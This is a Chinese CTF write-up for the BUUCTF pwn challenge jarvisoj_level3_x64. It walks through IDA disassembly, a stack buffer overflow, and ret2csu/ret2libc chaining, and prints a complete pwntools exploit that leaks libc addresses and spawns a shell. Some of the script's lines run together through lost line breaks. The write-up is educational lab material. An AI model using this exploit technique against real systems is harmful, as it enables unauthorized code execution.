[BUUCTF]jarvisoj_level3_x64详解(含思考过程、含知识点讲解)
一、题目来源
BUUCTF-Pwn-jarvisoj_level3_x64

二、信息搜集
将题目给的可执行文件丢入Linux虚拟机中
为了处理方便,我已经将文件重命名为pwn
通过file命令查看文件类型
通过checksec命令查看文件保护机制

1、分析程序逻辑,找到突破口
将二进制文件丢入IDA Pro当中开始反汇编操作
首先看到main函数:
.text:000000000040061A ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040061A public main
.text:000000000040061A main proc near ; DATA XREF: _start+1D↑o
.text:000000000040061A
.text:000000000040061A var_10 = qword ptr -10h
.text:000000000040061A var_4 = dword ptr -4
.text:000000000040061A
.text:000000000040061A ; __unwind {
.text:000000000040061A push rbp
.text:000000000040061B mov rbp, rsp
.text:000000000040061E sub rsp, 10h
.text:0000000000400622 mov [rbp+var_4], edi
.text:0000000000400625 mov [rbp+var_10], rsi
.text:0000000000400629 mov eax, 0
.text:000000000040062E call vulnerable_function
.text:0000000000400633 mov edx, 0Eh ; n
.text:0000000000400638 mov esi, offset aHelloWorld ; "Hello, World!\n"
.text:000000000040063D mov edi, 1 ; fd
.text:0000000000400642 call _write
.text:0000000000400647 leave
.text:0000000000400648 retn
.text:0000000000400648 ; } // starts at 40061A
.text:0000000000400648 main endp
可以看到main函数调用了函数vulnerable_function,点进去查看:
.text:00000000004005E6 public vulnerable_function
.text:00000000004005E6 vulnerable_function proc near ; CODE XREF: main+14↓p
.text:00000000004005E6
.text:00000000004005E6 buf = byte ptr -80h
.text:00000000004005E6
.text:00000000004005E6 ; __unwind {
.text:00000000004005E6 push rbp
.text:00000000004005E7 mov rbp, rsp
.text:00000000004005EA add rsp, 0FFFFFFFFFFFFFF80h
.text:00000000004005EE mov edx, 7 ; n
.text:00000000004005F3 mov esi, offset aInput ; "Input:\n"
.text:00000000004005F8 mov edi, 1 ; fd
.text:00000000004005FD call _write
.text:0000000000400602 lea rax, [rbp+buf]
.text:0000000000400606 mov edx, 200h ; nbytes
.text:000000000040060B mov rsi, rax ; buf
.text:000000000040060E mov edi, 0 ; fd
.text:0000000000400613 call _read
.text:0000000000400618 leave
.text:0000000000400619 retn
.text:0000000000400619 ; } // starts at 4005E6
.text:0000000000400619 vulnerable_function endp
该函数调用的read函数很明显存在栈溢出的现象,那么结合条件:
- 未开启Canary保护
- .text段没找到后门函数
- 程序采用动态链接,但是程序中未使用过system函数
可以分析出,现在很有可能的思路就是ret2libc
那么,开始可行性分析
2、ret2libc?
为了泄露libc库文件的内存地址,我们就需要通过程序中的write函数实现库函数(比如我们选择read)的真实地址的泄露
那么就需要给write函数指定三个参数,来构造出:
write(1,read_got,8);
在x86_64的CPU架构中,函数是通过寄存器传参的,因此我们需要找到能给rdi、rsi、rdx这三个寄存器赋值的gadget
可以发现,前两个gadget非常顺利地找到了,但是唯独没有找到第三个gadget
这也就意味着我们无法实现write函数第三个参数的传递,那么思路断了吗?
没有,再次查看.text段后,我们发现了一个重要的函数----__libc_csu_init()
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 ; } // starts at 400650
.text:00000000004006B4 __libc_csu_init endp
没错,可以利用ret2csu实现库函数真实地址的泄露,然后再实现ret2libc
关于ret2csu的详细介绍,可以看到第五部分
四、Poc构造
直接给出最终Poc:
from pwn import *
from LibcSearcher import LibcSearcherp = process("./pwn")
elf = ELF("./pwn")write_got = elf.got["write"]
read_got = elf.got["read"]padding = 0x80+8
csu1 = 0x4006A6
csu2 = 0x400690
ret = 0x400648
main_addr = 0x40061Adef csu_args(extra,rbx,rbp,r12,r13,r14,r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payloadpayload = b'A'*padding + p64(csu1) + csu_args(0,0,1,write_got,8,read_got,1) + p64(csu2) + csu_args(0,0,0,0,0,0,0) + p64(main_addr)p.sendafter(b'Input:\n',payload)leak = u64(p.recv(8))
print(hex(leak))libc = LibcSearcher('read', leak) libc_base = leak - libc.dump('read')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')pop_rdi = 0x4006b3payload = b'A'*padding + p64(pop_rdi) + p64(binsh) + p64(system)p.sendline(payload)p.interactive()
我相信大家了解了第五部分的ret2csu的介绍,对该poc的理解不会有难度
唯一需要注意的点就是write_got = elf.got["write"]
没错,我们平时通常使用的是write_plt = elf.plt["write"]
他们本质上是同一个东西,他们最终都会跳转到write函数的真实内存地址处,但是为什么这里不能使用plt呢?
其实我也不太清楚,但是唯一明确的是,使用write_plt的话会泄露不出来地址,因此我们选择write_got
五、本题涉及到的关键知识点:
1、ret2csu
csu一般指的就是
__libc_csu_init
与__libc_csu_fini
这两个函数
(1)这两个函数的常规用途
在大多数情况下,我们编写的C/C++代码的执行入口是main
函数
但实际上,程序的真正入口点通常是__start
函数,而该函数他又会调用一个__libc_start_main
函数,该函数的参数大致是这样的(伪代码):
__libc_start_main(main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack);
很明显,真正的main函数的调用是发生在该函数当中的
当然,也能知道__libc_csu_init
与 __libc_csu_fini
这两个函数也会被该函数调用
他们三者的调用顺序就是:
__libc_csu_init -> main -> __libc_csu_fini
(2)__libc_csu_init
可以把__libc_csu_init
想象成main
函数的“暖场嘉宾”,它的主要职责是在main
函数被调用之前,完成必要的初始化工作
它的核心任务是遍历并调用一个特殊的函数指针数组,这个数组被称为 .init_array
开发者可以通过特定的编译器属性(如 __attribute__((constructor))
)将自定义的函数放入这个数组中,从而实现代码在main
函数之前执行,这对于一些库的初始化、全局对象的构造等场景至关重要
(3)__libc_csu_fini
__libc_csu_fini
负责程序的善后清理工作(即在main函数通过exit退出之后开始进行的操作),包括
它的工作与__libc_csu_init
类似,但方向相反
它负责调用.fini_array
段中的函数指针,用于执行析构、资源释放等清理操作,这些函数通常以与构造函数相反的顺序执行
(4)ret2csu
在网络安全领域,__libc_csu_init
的价值远不止于程序初始化
在二进制漏洞利用,特别是[[ROP]]攻击中,它提供了一套极其强大的gadget
我们来简单看一下__libc_csu_init
的汇编代码(IDA Pro反汇编出来的代码):
.text:0000000000400650 public __libc_csu_init
.text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400650 ; __unwind {
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
从上面代码中,我们可以得到两个非常关键的gadget(按顺序命名为gadget1与gadget2):
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
与
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
在gadget2中,我们能看到一个函数调用,即
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
该gadget中不仅有函数调用,还有该函数参数的传递,非常的有用
但是该参数的传递离不开gadget1的帮忙
因为,我们先要通过gadget1实现关键寄存器的传参,才能与gadget2配合完成函数调用
gadget1我们需要做的操作是:
-
给r12传输要被调用的函数的地址:后续通过
call qword ptr [r12+rbx*8]
调用 -
给rbx传输值:因为该值涉及到函数调用(
call qword ptr [r12+rbx*8]
),我们通常将其置为0,让他不妨碍我们精确定位函数地址 -
给r15,r14,r13传值:这三个寄存器在后续会分别传输到rdi、rsi、rdx当中,也就是作为被调用函数的三个参数存在
-
给rbp传值:千万别乱指定这个寄存器的值,我们需要结合rbx的值来确定rbp的值,因为如果乱指定该值,会导致指令
cmp rbx, rbp
的结果一直不能使ZF标志位为1,就会导致条件跳转指令jnz short loc_400690
成立,又回到上面的调用逻辑再次执行,这可能导致死循环 -
额外注意指令add rsp, 8:该指令会使得栈顶指针往高地址移动,即往栈底移动,这就相当于进行了一步伪出栈操作,因此我们需要指定一个冗余数据去抵消这部操作,否则可能会使得我们构造的gadget有缺失或者对不上的地方
综上,我们先gadget1再gadget2就可以完成一次函数调用,这就是ret2csu
当然,通过上述讲述我们应该能发现,ret2csu对输入长度的要求很高(因为有很多的值需要构造),而且也是涉及到地址的指定,还会受到[[ASLR]]、[[PIE]]的影响
而且,正是因为__libc_csu_init
带来的巨大安全风险,glibc的开发者们已经采取了行动,从glibc 2.34 版本开始,__libc_csu_init
和 __libc_csu_fini
这两个函数被彻底移除了,它们的初始化和清理功能被整合到了运行时的其他部分
由此可见,ret2csu也受到了很多的限制,因此我们需要灵活使用这些技巧,不要被局限住
2、其他
本题涉及到的知识还有:ret2libc、栈溢出、ROP
我相信大家如果按照顺序刷题的话,这三个知识点都应该非常熟练了,这里就不再赘述